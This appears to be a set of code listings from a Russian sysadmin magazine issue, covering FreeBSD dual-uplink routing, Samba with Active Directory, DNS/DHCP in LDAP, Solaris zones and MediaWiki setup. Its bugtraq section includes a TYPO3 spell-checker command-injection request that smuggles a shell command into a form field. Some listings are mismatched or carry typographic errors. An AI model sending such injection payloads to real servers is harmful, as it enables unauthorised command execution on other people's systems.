Два канала – роскошь? Резервирование и балансировка трафика во FreeBSD Сергей Супрунов # route add 8x.25y.0.0/16 10.0.1.1 # netstat -rn | head -4; netstat -rn | grep 8x.25y static_routes="meganet" route_meganet="-net 8x.25y 10.0.1.1" # ipfw table 1 add 8x.25y.0.0/16 # ipfw add 5000 fwd 10.0.1.1 ip from 192.168.0.0/24 to 'table(1)' # route add 0.0.0.0/1 10.0.1.1 # ipfw add 4900 fwd 10.0.1.1 ip from 192.168.0.100 to any # ipfw add 4950 fwd 10.0.1.1 tcp from 192.168.0.128/29 to any # ipfw add 5000 fwd 10.0.1.1 ip from 192.168.0.0/24 to 'table(1)' tcp_outgoing_address 10.0.1.2 udp_incoming_address 10.0.1.2 udp_outgoing_address 10.0.1.2 # ipfw add fwd 10.0.1.1 ip from 10.0.1.2 to not 192.168.0.0/24 out CLIENT_OPTIONS(`Addr=10.0.1.2')dnl ipfw add 4900 fwd 10.0.1.1 ip from 192.168.0.0/25 to any # natd -n rl0 -p 8668 # natd -n rl1 -p 8669 # ipfw add divert 8668 ip from 192.168.0.0/25 to any # ipfw add divert 8669 ip from 192.168.0.128/25 to any # ipfw add fwd 10.0.1.1 ip from 10.0.1.2 to any # ipfw add fwd 10.1.1.1 ip from 10.1.1.2 to any # ipfw add divert 8668 ip from any to 10.0.1.2 # ipfw add divert 8669 ip from any to 10.1.1.2 nat on rl0 from 192.168.0.0/25 to any -> 10.0.1.2 nat on rl1 from 192.168.0.128/25 to any -> 10.1.1.2 pass out route-to (rl0 10.0.1.1) from 10.0.1.2 to any pass out route-to (rl1 10.1.1.1) from 10.1.1.2 to any acl subnet1 src 192.168.0.0/255.255.255.240 acl subnet2 stc 192.168.0.128/255.255.255.240 tcp_outgoing_address 10.0.1.2 subnet1 tcp_outgoing_address 10.1.1.2 subnet2 pass in on ed0 \ route-to { (rl0 10.0.1.1), (rl1 10.1.1.1)} round-robin \ from 192.168.0.0/24 to any keep state ipfw add 500 check-state ipfw add 1000 prob 0.4 skipto 2000 ip from any to any in via ed0 ipfw add 1500 fwd 10.0.1.1 ip from 192.168.0.0/24 to any out keep-state ipfw add 2000 fwd 10.1.1.1 ip from 192.168.0.0/24 to any out keep-state #!/bin/sh GW1=10.161.193.1 GW2=83.221.201.197 /sbin/ping -q -c 1 $GW1 > /dev/null 2>&1 if [ $? != 0 ]; then /sbin/ping -q -c 1 $GW2 > /dev/null 2>&1 if [ $? = 0 ]; then if [ ! -f /tmp/gw.changed ]; then /sbin/route change default $GW2 \ && touch /tmp/gw.changed fi fi else if [ -f /tmp/gw.changed ]; then /sbin/route change default $GW1 \ && rm /tmp/gw.changed fi fi ping -S 10.0.1.2 yandex.ru ----------------------------------------------------------------------------------------------------------------- Создаём интегрированный в Active Directory файл-сервер на базе Samba во FreeBSD Алексей Бережной fs# cd /sys/i386/conf fs# cp GENERIC fs fs# vi fs options SMP options QUOTA ident SMP-GENERIC fs# config fs fs# cd ../compile/fs fs# make depend && make && make install fs# reboot fs# portsnap fetch && portsnap extract && portsnap update fs# gmirror label -v gm0 da2 da3 fs# gmirror label -v gm1 da4 da5 fs# gmirror label -v gm2 da6 da7 fs# echo geom_mirror_load="YES" >> /boot/loader.conf fs# ls /dev/mirror fs# newfs /dev/mirror/gm0 fs# newfs /dev/mirror/gm1 fs# newfs /dev/mirror/gm2 fs# /sbin/tunefs -a enable /dev/mirror/gm0 fs# /sbin/tunefs -a enable /dev/mirror/gm1 fs# /sbin/tunefs -a enable /dev/mirror/gm2 fs# mkdir /vol0 fs# mkdir /vol1 fs# mkdir /vol2 fs# mount /dev/mirror/gm0 /vol0 fs# mount /dev/mirror/gm1 /vol1 fs# mount /dev/mirror/gm2 /vol2 fs# mount fs# vi /etc/fstab # Device Mountpoint FStype Options Dump Pass# /dev/da1s1b none swap sw 0 0 /dev/da0s1a / ufs rw 1 1 /dev/da1s1d /add ufs rw 2 2 /dev/acd0 /cdrom cd9660 ro,noauto 0 0 # GMIRROR volume /dev/mirror/gm0 /vol0 ufs rw 1 2 /dev/mirror/gm1 /vol1 ufs rw 1 2 /dev/mirror/gm2 /vol2 ufs rw 1 2 fs# cd /usr/ports/security/heimdal fs# make install clean fs# vi /etc/krb5.conf [libdefaults] default_realm = MYDOMAIN.RU clockskew = 300 v4_instance_resolve = false v4_name_convert = { host = { rcmd = host ftp = ftp } plain = { something = something-else } } [realms] MYDOMAIN.RU = { kdc = pdc.mydomain.ru admin_server = pdc.mydomain.ru default_domain = mydomain.ru } OTHER.REALM = { v4_instance_convert = { kerberos = kerberos computer = pdc.mydomain.ru } } [domain_realm] .mydomain.ru = MYDOMAIN.RU fs# ntpdate 192.168.1.6 fs# echo ntpdate 192.168.1.6 >> /etc/rc.local fs# kinit -p Administrator fs# klist passwd: files winbind group: files winbind hosts: files dns fs# cd /usr/ports/net/samba3 fs# make install clean fs# vi /etc/rc.conf cupsd_enable="YES" # Unix Pint System inetd_enable="YES" # Super Daemon for call some services nmbd_enable="YES" # SMB client for Unix (need for WINS) smbd_enable="YES" # SMB server for Unix winbindd_enable="YES" # WinBIND for Windows autorization fs# ps aux | grep inetd fs# ps aux | grep cupsd fs# ps aux | grep nmbd fs# ps aux | grep smbd fs# ps aux | grep winbindd fs# vi /usr/local/etc/cupsd.conf # # "$Id: cupsd.conf.in 5454 2006-04-23 21:46:38Z mike $" # # Sample configuration file for the Common UNIX Printing # System (CUPS) scheduler. See "man cupsd.conf" for # a complete description of this file. # # Log general information in error_log - change "info" # to "debug" for troubleshooting... LogLevel info # Administrator user group... SystemGroup wheel # Only listen for connections from the local machine. Listen localhost:631 Listen 192.168.1.3:631 Listen /var/run/cups.sock # Show shared printers on the local network. Browsing On BrowseOrder allow,deny BrowseAllow @LOCAL # Default authentication type, when authentication # is required... DefaultAuthType Basic # Restrict access to the server... Order deny,allow Deny From All Allow localhost Allow 192.168.1.* # Restrict access to the admin pages... AuthType Basic AuthClass System Encryption Required Order deny,allow Deny From All Allow localhost Allow 192.168.1.* # Restrict access to configuration files... AuthType Basic Require user @SYSTEM Order deny,allow Deny From All Allow localhost Allow 192.168.1.* # Set the default printer/job policies... # Job-related operations must be done by the owner or # an adminstrator... Require user @OWNER @SYSTEM Order deny,allow # All administration operations require an adminstrator # to authenticate... AuthType Basic Require user @SYSTEM Order deny,allow # Only the owner or an administrator can cancel # or authenticate a job... Require user @OWNER @SYSTEM Order deny,allow Order deny,allow # # End of "$Id: cupsd.conf.in 5454 2006-04-23 21:46:38Z # mike $". # Listen 192.168.1.3:631 Order deny,allow Deny From All Allow localhost Allow 192.168.1.* Encryption Required fs# /usr/local/etc/rc.d/cupsd restart fs# ps aux | grep cupsd fs# /usr/local/etc/rc.d/cupsd start fs# cp usr/local/etc/smb.conf.sample usr/local/etc/smb.conf fs# vi usr/local/etc/smb.conf fs# vi /etc/inetd.conf swat stream tcp nowait/400 root /usr/local/sbin/swat swat fs# killall -1 inetd fs# sockstat | grep 901 # Samba config file created using SWAT # from 192.168.1.32 (192.168.1.32) # Date: 2007/01/12 15:19:15 [global] dos charset = cp866 unix charset = koi8-r display charset = cp866 workgroup = ARS realm = MYDOMAIN.RU server string = Samba Server security = DOMAIN auth methods = winbind map to guest = Bad User client NTLMv2 auth = Yes client lanman auth = No client plaintext auth = No log file = /var/log/samba/log.%m max log size = 50 client signing = Yes preferred master = No local master = No domain master = No dns proxy = No wins server = 192.168.1.1 ldap ssl = no usershare allow guests = Yes idmap uid = 10000-20000 idmap gid = 10000-20000 winbind use default domain = Yes printer admin = root acl group control = Yes hosts allow = 192.168.1., 127. map acl inherit = Yes case sensitive = No fs# net ads join -U _Domain_Administrator_%_password_of_domain_admin_ fs# wbinfo -t fs# wbinfo -u fs# wbinfo -g fs# wbinfo -a _имя_юзера_%_пароль_юзера_ c:\> net use h: \\fs\vol0\_имя_каталога_ c:\> net use lpt2: \\fs\_printer_name_ [printers] comment = All Printers path = /var/spool/samba printable = Yes browseable = No [vol0] comment = vol0 path = /vol0 read only = No guest ok = Yes hosts allow = browseable = No [vol1] path = /vol1 read only = No guest ok = Yes hosts allow = browseable = No [vol2] path = /vol2 read only = No guest ok = Yes hosts allow = available = No [hp_LaserJet_1320_series_192.168.1.15] comment = hp LaserJet 1320 series path = /var/spool/samba read only = No guest ok = Yes printable = Yes printer name = hp_LaserJet_1320_series_192.168.1.15 oplocks = No share modes = No ----------------------------------------------------------------------------------------------------------------- Полезные советы. Утилита find Сергей Супрунов find ./ -name "milter-spa*" find ./ -name "milter-spa*" 2>/dev/null find /home/serg/samag -mindepth 2 -maxdepth 2 find test -nouser -delete find ./ -name "*.py" -exec cat {} \; find ./ -atime +90d -size +20 -exec tar cjf old.tbz2 {} \; find . -type f -newerac Qwert find ./ -iname 'qwe*' -and -size +20 -or -name 'Qwert' ----------------------------------------------------------------------------------------------------------------- Подключаем несколько локальных сетей с пересекающейся адресацией к одному компьютеру Андрей Кишкин CONFIG_NETFILTER CONFIG_IP_NF_CONNTRACK CONFIG_IP_NF_IPTABLES CONFIG_IP_NF_MATCH_MARK CONFIG_IP_NF_NAT ip address add 192.168.1.10/32 dev eth1 iptables –t NAT –A PREROUTING –i eth1 –s 192.168.0.0/24 –j DNAT -–to-destination 192.168.1.10 echo /etc/iproute2/rt_tables >> 10 TO_ETH0 echo /etc/iproute2/rt_tables >> 20 TO_ETH1 ip route add default dev eth1 table TO_ETH1 ip route add default dev eth0 table TO_ETH0 iptables –t mangle –A OUTPUT –s 192.168.0.10/24 –j MARK -–set-mark 0 iptables –t mangle –A OUTPUT –s 192.168.1.10/24 –j MARK -–set-mark 1 ip rule add fwmark 1 table TO_ETH1 ip rule add fwmark 0 table TO_ETH0 iptables –t nat –A OUTPUT –s 192.168.1.10 –j DNAT -–to 192.168.0.10 ping 192.168.0.5 ping 192.168.1.5 iptables –t nat –A POSTROUTING –d 192.168.1.0/24 –j NETMAP –to 192.168.0.0 ----------------------------------------------------------------------------------------------------------------- Настраиваем DNS и DHCP с хранением информации в LDAP Василий Озеров include /usr/local/etc/openldap/schema/dnszone.schema include /usr/local/etc/openldap/schema/dhcp.schema spider@/root/> /usr/local/etc/rc.d/slapd.sh restart Dns.ldif # Добавляем контейнер, где будут храниться все зоны нашего DNS-севера dn: ou=dns,dc=l1523,dc=ru objectClass: top objectClass: organizationalUnit ou: dns description: domain zones # Добавляем прямую зону teachers dn: zoneName=teachers,ou=dns,dc=l1523,dc=ru objectClass: top objectClass: dNSZone zoneName: teachers relativeDomainName: teachers # SOA-запись для зоны teachers dn: relativeDomainName=@,zoneName=teachers,ou=dns,dc=l1523,dc=ru objectClass: top objectClass: dNSZone zoneName: teachers relativeDomainName: @ nSRecord: ns.teachers. sOARecord: ns.teachers. root.ns.teachers. 1 8H 2H 1W 1D # Добавляем запись вида: # ns IN A 192.168.1.254 dn: relativeDomainName=ns,zoneName=teachers,ou=dns,dc=l1523,dc=ru objectClass: top objectClass: dNSZone zoneName: teachers relativeDomainName: ns dNSClass: IN aRecord: 192.168.1.254 # Добавляем запись вида: # spider IN A 192.168.1.250 dn: relativeDomainName=spider,zoneName=teachers,ou=dns,dc=l1523,dc=ru objectClass: top objectClass: dNSZone zoneName: teachers relativeDomainName: spider dNSClass: IN aRecord: 192.168.1.250 # Добавляем новую обратную зону 1.168.192.in-addr.arpa dn: zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru objectClass: top objectClass: dNSZone zoneName: 1.168.192.in-addr.arpa relativeDomainName: 1.168.192.in-addr.arpa # SOA-запись для зоны 1.168.192.in-addr.arpa dn: relativeDomainName=@,zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru objectClass: top objectClass: dNSZone relativeDomainName: @ nSRecord: ns.teachers. sOARecord: ns.teachers. root.ns.teachers. 1 8H 2H 1W 1D zoneName: 1.168.192.in-addr.arpa # Добавляем запись вида: # 254 PTR ns.teachers. dn: relativeDomainName=254,zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru objectClass: top objectClass: dNSZone zoneName: 1.168.192.in-addr.arpa relativeDomainName: 254 pTRRecord: ns.teachers. # Добавляем запись вида: # 250 PTR spider.teachers. dn: relativeDomainName=250,zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru objectClass: top objectClass: dNSZone zoneName: 1.168.192.in-addr.arpa relativeDomainName: 250 pTRRecord: spider.teachers. spider@/root/> ldapadd -x -D "cn=root,dc=l1523,dc=ru" -W -f dns.ldif dns@/root> cd /usr/ports/dns/bind9-sdb-ldap/ dns@/usr/ports/dns/bind9-sdb-ldap> make install clean dns@/> pkg_info | grep bind dns@/> /usr/local/sbin/named -v Named.conf # Описание списков доступа к bind acl lan { 192.168.1.0/24; }; acl transfers { 127.0.0.1; }; # Конфигурация rndc-ключа. Сгенерировать ключ можно командой # rndc-confgen, вывод которой нужно вставить в named.conf key "rndc-key" { algorithm hmac-md5; secret "V0spN5Z3OWgkGG2Bt0SdKQ=="; }; controls { inet 127.0.0.1 port 953 allow { 127.0.0.1; } keys { "rndc-key"; }; }; # Опции демона named options { directory "/etc/namedb"; pid-file "/var/run/named/pid"; dump-file "/var/dump/named_dump.db"; statistics-file "/var/stats/named.stats"; # IP-адреса, на которых named будет слушать запросы listen-on { 127.0.0.1; 192.168.1.254; } # Если named не найдет адрес, запрашиваемый клиентом, # в локальных базах или кэше, то запрос перенаправится # DNS-серверам провайдера forward only; # DNS-сервера провайдеров forwarders { 192.168.49.100; 172.16.0.3; }; # Разрешение запросов allow-query { lan; trusted; }; allow-recursion { trusted; lan; }; }; # Описание зоны teachers zone "teachers." { # Наш сервер является первичным для этой зоны type master; # Где располагается зона. # Формат записи: database «ldap протокол: # //IP_адрес_LDAP_сервер/_путь_к_нужной_зоне_ ttl» # Указанный ttl будет использован по умолчанию, # если не будет указан другой ttl database "ldap ldap://192.168.1.250/zoneName=teachers,ou=dns,dc=l1523,dc=ru 178600"; # Права доступа allow-query { lan; trusted; }; allow-transfer { transfers;}; }; # Описание обратной зоны: 1.168.192.in-addr.arpa zone "1.168.192.IN-ADDR.ARPA." { # Наш сервер primary type master; # Где хранится зона database "ldap ldap://192.168.1.250/zoneName=1.168.192.in-addr.arpa,ou=dns,dc=l1523,dc=ru 178600"; # Права доступа allow-query { lan; trusted; }; allow-transfer { transfers; }; }; dns@/root/> echo named_enable=\"YES\" >> /etc/rc.conf dns@/root/> echo named_program=\"/usr/local/sbin/named\" >> /etc/rc.conf dns@/root/> chown bind:bind /var/named/etc/namedb/master/var/named/etc/namedb/dynamic dns@/root/> chown –R bind:bind /var/named/var/ dns@/root/> /etc/rc.d/named start dns@/root/> ps ax | grep named dns@/root> rndc status dns@/root> dig @127.0.0.1 teachers. axfr dns@/root> dig @127.0.0.1 1.168.192.in-addr.arpa axfr spider@/root> cd /usr/ports/net/isc-dhcp3-server/ spider@/usr/ports/net/isc-dhcp3-server> make install clean /root/dhcpd.conf # Время, на которое выдается IP default-lease-time 14400; # Время, через которое клиент обязан вернуть IP max-lease-time 28800; log-facility local7; authoritative; # Не проводить обновление зон ddns-update-style none; # Описание сети 192.168.1.0/24 subnet 192.168.1.0 netmask 255.255.255.0 { range 192.168.1.10 192.168.1.200; ignore client-updates; option domain-name "teachers"; option domain-name-servers 192.168.1.254; option routers 192.168.1.254; option default-ip-ttl 64; option default-tcp-ttl 64; } # Этот параметр можно не менять, будет использован результат, который вернет функция hostdomain() my $domain = hostdomain(); # Корень сервера ldap my $basedn = "dc=l1523,dc=ru"; # В этой строке скрипт заменяет все «.», указанные в $basedn на «,dc=» $basedn =~ s/\./,dc=/g; # Параметр можно не изменять, будет использован результат вызова функции hostname(), # где будут храниться настройки DHCP my $server = hostname(); my $dhcpcn = 'dhcp'; # CN of DHCP config tree my $dhcpdn = "cn=$dhcpcn, $basedn"; # DHCP config tree DN my $second = ''; # secondary server DN / hostname my $i_conf = ''; # dhcp.conf file to read or stdin my $o_ldif = ''; # output ldif file name or stdout my @use = (); # extended flags (failover) spider@/root/> dhcpd-conf-to-ldap.pl < /root/dhcpd.conf spider@/root/> ldapadd –x –D "cn=root,dc=l1523,dc=ru" –W –f dhcp.ldif /usr/local/etc/dhcpd.conf # IP-адрес или hostname LDAP-сервера ldap-server "spider.teachers"; # Порт, который слушает LDAP ldap-port 389; # Учетная запись, под которой будет происходить подключение к LDAP-серверу. ldap-username "cn=root,dc=l1523,dc=ru"; # Пароль учетной записи ldap-password "123456"; # Корень LDAP-сервера ldap-base-dn "dc=l1523,dc=ru"; ldap-method dynamic; spider@/root/> echo dhcpd_enable=\"YES\" >> /etc/rc.conf spider@/root/> /usr/local/etc/rc.d/isc-dhcpd.sh start spider@/root/> mkdir dhcp spider@/root/> cd dhcp spider@/root/dhcp/> fetch http://www.venaas.no/ldap/bind-sdb/dhcp2ldapd-1.1.gz Dhcp2ldapd-1.1 #!/usr/bin/perl # Файл, где хранится информация о выданных адресах DHCP-сервером $LEASES = "/var/db/dhcpd/dhcpd.leases"; # Домен $DOMAIN = "teachers"; # Обратная зона $REVERSE = "1.168.192.in-addr.arpa"; # Где в LDAP хранятся зоны прямого и обратного преобразования $FORWARD_BASE = "zoneName=teachers,ou=dns,dc=l1523,dc=ru"; $REVERSE_BASE = "zoneName=1.168.192.in-addr.arpa, ? ou=dns,dc=l1523,dc=ru"; # Пользователь для подключения к LDAP-серверу $USER = 'cn=root,dc=l1523,dc=ru'; # Пароль пользователя $PASSWORD = "9vpIj9"; # Хост, на котором работает LDAP-сервер $LDAP_HOST = 'localhost' # Время проверки файла в секундах $UPDATE_TIME = 30; # Автопроверка $AUTO_VERIFY = 0; #!/bin/sh case "$1" in start) if [ -f /var/run/dhcpd2ldap.pid ] then echo "Скрипт dhcpd2ldap уже запущен!" else daemon -f -p /var/run/dhcpd2ldap.pid /root/dhcp2ldapd-1.1 echo "Скрипт dhcpd2ldap запущен!" fi ;; stop) if [ -f /var/run/dhcpd2ldap.pid ] then kill -TERM `cat /var/run/dhcpd2ldap.pid` rm -f /var/run/dhcpd2ldap.pid echo "Скрипт dhcpd2ldap остановлен!" else echo "Скрипт dhcpd2ldap не запущен!" fi ;; *) echo "Использование: ${0##*/}: { start | stop }" >&2 exit 64 ;; esac spider@/usr/local/etc/rc.d/> chmod 0755 dhcpd2ldap.sh spider@/usr/local/etc/rc.d/> chown root:wheel dhcpd2ldap.sh spider@/usr/local/etc/rc.d/> ll dhcpd2ldap.sh spider@/usr/local/etc/rc.d/> ps ax | grep dhcp spider@/usr/local/etc/rc.d/> ./dhcpd2ldap.sh start spider@/usr/local/etc/rc.d/> ps ax | grep dhcp shield@/root> ps ax | grep named shield@/root> host fr33man shield@/root> host fr33man shield@/root> host 192.168.1.199 shield@/root> ldapsearch -LLL -x -b 'dc=l1523,dc=ru' -H ldap://spider/ 'relativeDomainName=fr33man' shield@/root> ldapsearch -LLL -x -b 'dc=l1523,dc=ru' -H ldap://spider/ 'relativeDomainName=199' shield@/root> ps ax| grep named ----------------------------------------------------------------------------------------------------------------- Размещаем пользовательские бюджеты в LDAP Часть 2 Алексей Барабанов # useradd -m -c "shadow user" suser1 # getent passwd | grep suser # passwd suser1 # getent shadow | grep suser > su - suser1 -c "LC_ALL=C id" # useradd -D cn=ldapadmin,dc=office,dc=localnet --service ldap -m -c "ldap user" luser1 # getent passwd | grep luser # getent group | grep "^\(video\|dialout\)" # cat pwdutils-3.1.2-memberUid-member.diff --- lib/libldap.c.orig 2006-12-13 07:37:45.000000000 +0300 +++ lib/libldap.c 2006-12-13 07:46:09.000000000 +0300 @@ -1535,12 +1535,12 @@ return 1; rc = ldap_update_group (session, group, binddn, password, LDAP_MOD_ADD, - "member", dn ); + "memberUid", member ); free (dn); if ( first ) { ldap_update_group (session, group, binddn, password, LDAP_MOD_DELETE, - "member", "" ); + "memberUid", "" ); } } else @@ -1569,11 +1569,11 @@ if ( last ) { ldap_update_group (session, group, binddn, password, LDAP_MOD_ADD, - "member", "" ); + "memberUid", "" ); } rc = ldap_update_group (session, group, binddn, password, LDAP_MOD_DELETE, - "member", userdn ); + "memberUid", member ); free (userdn); } else @@ -2039,13 +2039,13 @@ strvals[0][1] = "groupOfNames"; strvals[0][2] = NULL; - /* groupOfNames requires at least one "member" * attribute + /* groupOfNames requires at least one "memberUid" * attribute use an empty value for groups with * no members */ strvals[3][0] = ""; strvals[3][1] = NULL; mod[3].mod_values = strvals[3]; - mod[3].mod_type = "member"; + mod[3].mod_type = "memberUid"; mod[3].mod_op = LDAP_MOD_ADD; mods[3] = &mod[3]; mods[4] = NULL; # # userdel -D cn=ldapadmin,dc=office,dc=localnet --service ldap -r luser1 # useradd -D cn=ldapadmin,dc=office,dc=localnet --service ldap -m -c "ldap user" luser1 # getent group | grep "^\(video\|dialout\)" # useradd -D cn=ldapadmin,dc=office,dc=localnet --service ldap -p $(slappasswd -s luser2 -h {SSHA} ) -m -c "ldap user" luser2 # usermod -D cn=ldapadmin,dc=office,dc=localnet --service ldap -p $(slappasswd -s luser1 -h {SSHA} ) luser1 alekseybb@suse102:~> su - luser1 -c "LC_ALL=C id" alekseybb@suse102:~> su - luser2 -c "LC_ALL=C id" # slapcat | grep "^\(dn\|userPassword\)" | tail -n 4 # slapcat | grep "^userPassword" | tail -n 2 | awk '{print $2}' | mimencode -b -u # cat pwdutils-3.1.2-newpassword.diff --- lib/user.c.orig 2006-12-15 02:16:30.000000000 +0300 +++ lib/user.c 2006-12-15 02:18:42.000000000 +0300 @@ -1036,16 +1036,9 @@ } if (data->newpassword) - { - const char *cryptstr = "{crypt}"; - char buffer[strlen (data->newpassword) + - strlen (cryptstr) + 1]; - snprintf (buffer, sizeof (buffer), "%s%s", cryptstr, - data->newpassword); retval = ldap_update_user (session, data->pw.pw_name, - data->binddn, data->oldclearpwd, - "userPassword", buffer); - } + data->binddn, data->oldclearpwd, + "userPassword", data->newpassword); } if (retval != 0) fprintf (stderr, # usermod -D cn=ldapadmin,dc=office,dc=localnet --service ldap -e -1 -p $(slappasswd -s luser1 -h {SSHA} ) luser1 # slapcat | grep "^\(dn\|userPassword\)" | tail -n 4 alekseybb@suse102:~> su - luser1 -c "LC_ALL=C id" # cat < su - luser1 -c "LC_ALL=C id" alekseybb@suse102:~> su - luser3 -c "LC_ALL=C id" # getent passwd | tail -n 2 # getent shadow | tail -n 2 # grep shadow /etc/nsswitch.conf # slapcat | grep "^\(dn: u\|userP\)" | tail -n 6 # slapcat | grep "^userP" | tail -n 1 | awk '{print $2}' | mimencode -b -u # grep passwd /etc/ldap.conf # getent passwd | tail -n 3 alekseybb@suse102:~> su - luser3 -c "LC_ALL=C id" ----------------------------------------------------------------------------------------------------------------- Тонкая настройка Microsoft ISA 2004 Андрей Бирюков Листинг 1. XML-файл для компрессии по диапазону create zonecfg:web> set zonepath=/z/web zonecfg:web> set autoboot=true zonecfg:web> add net zonecfg:web:net> set physical=pcn0 zonecfg:web:net> set address=10.0.0.101 zonecfg:web:net> end zonecfg:web> exit # zonecfg -z web info inherit-pkg-dir: dir: /путь/к/каталогу # zoneadm list -cv # zoneadm -z web install inherit-pkg-dir: dir: /путь/к/каталогу # zoneadm list -cv # zoneadm -z web boot # zoneadm list -cv # ping 10.0.0.101 # zlogin web # zonename # uname -a # psrinfo -v # ps -e -o user,pid,ppid,time,fname # df -n # touch /usr/test # mount | grep /usr # svcs http # svcs -xv # cp /etc/apache2/httpd.conf-example /etc/apache2/httpd.conf # svcadm enable http # pgrep -fl http # ppriv -S `pgrep -o http` # psradm -i 0 1 2 3 4 ----------------------------------------------------------------------------------------------------------------- Боремся с вирусами и спамом с помощью MPP Сергей Яремчук $ sudo /usr/local/MPP/configure.pl $ sudo /usr/local/MPP/configure.pl $ wget –c http://switch.dl.sourceforge.net/sourceforge/webadmin/webmin_1.310_all.deb $ sudo apt-get install libauthen-pam-perl libio-pty-perl libmd5-perl $ sudo dpkg -i /media/win_e/webmin_1.310_all.deb $ wget -c ftp://ftp.messagepartners.com/pub/mpp/webmin/rae-mpp.wbm.gz donot_scan_users = /usr/local/MPP/donotscanlist scan_domains = mycompany.com, test.com scan_archives = yes on_encrypted_message = pass quarantine_method = file sql_type = mysql sql_database = spam sql_host = localhost sql_user = user sql_password = password spam_filter = yes spam_action = marksubject spam_marksubject = SPAM-%SUBJECT% spam_forwardaddr = %EMAILID%-spam@%DOMAIN% ----------------------------------------------------------------------------------------------------------------- bugtraq, стр. 78, 79 --- post request --- POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell- check-logic.php?id=1 HTTP/1.1 Host: www.typo3host.abc User-Agent: none Content-Type: application/x-www-form-urlencoded Content-Length: 111 psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+ /tmp/shell.txt+%23&enablePersonalDicts=true --- /post request --- "rtsp://[any character]:[>256 bytes]") ----------------------------------------------------------------------------------------------------------------- Работаем с MediaWiki Евгений Балдин # Установка MediaWiki > sudo apt-get install mediawiki1.7 mediawiki1.7-math # Установка PHP - необходима версия не ниже 5-й > sudo apt-get install php5 # Распаковка > tar -xvzf mediawiki-1.8.2.tar.gz # Перенос исходников в выбранную директорию > mv mediawiki-1.8.2 "wikidir" # Выясняем, под каким пользователем выполняется Apache > ps aux | grep apache | cut -f1 -d' ' | sort | uniq # Даём возможность Apache управлять директорией > chown -R www_data:www_data "wikidir" # Сопоставление физической директории и пути в URL Alias /wiki "wikidir" # Доступ по умолчанию Options +FollowSymLinks AllowOverride All order allow,deny allow from all # доступ к некоторым директориям следует ужесточить Options -FollowSymLinks AllowOverride None Options -FollowSymLinks AllowOverride None # Установка MySQL (рекомендуется версия старше 4.0) > sudo apt-get install mysql-server # Установка phpMyAdmin для администрирования MySQL > sudo apt-get install phpmyadmin # Установка базы данных (в разных системах по-разному) > sudo apt-get install postgresql-8.1 # Создание учётной записи суперпользователя (предварительно настраивается sudo # для возможности исполнения команд под пользователем postgres) > sudo -u postgres createuser # Установка PHP-драйвера > sudo apt-get install php5-pgsql # Создание пользователя для wiki > createuser -U "супер"-S -D -R -P -E wikiuser # Создание базы данных > createdb -U "супер"-O wikiuser wikidb CREATE DATABASE # Разрешение на использование процедурного языка plpgsql > createlang -U "супер" plpgsql wikidb > sudo apt-get install postgresql-contrib-8.1 # Инициализация механизма полнотекстового поиска tsearch2 # (путь до tsearch2.sql относительно директории PostgreSQL) > psql -U "супер"wikidb -f contrib/tsearch2.sql # Подсоединяемся к wikidb под суперпользователем > psql -U "супер" wikidb # Смотрим, какие таблицы были созданы wikidb=> \d # Разрешение на доступ к таблицам для wikiuser wikidb=> GRANT SELECT,UPDATE ON pg_ts_cfg TO wikiuser; wikidb=> GRANT SELECT ON pg_ts_parser, pg_ts_dict, pg_ts_cfgmap TO wikiuser; function stripForSearch( $string ) { global $wgDBtype; if ( $wgDBtype != 'mysql' ) { return $string; } … $wgFileExtensions = array('png', 'gif', 'jpg', 'jpeg'); ==Гиперссылки== * Wiki - это [[гипертекст]]. * А это [http://www.samag.ru внешняя ссылка] ==Тестирование медиа-файла== [[Медиа:mediawiki.ps|mediawiki.ps]] - PostScript file ==Тестирование картинок== [[Изображение:turtle.png]] ==Экранирование Wiki-разметки== [[привет]] ==Тестирование математики== Решение квадратного уравнение ax^2+bx+c=0: x_{1,2}=\frac{-b\pm\sqrt{b^2-4ac}}{2a} [[Категория:Тестовые страницы]] Проверка возможностей {{Поправляйте}} -----------------------------------------------------------------------------------------------------------------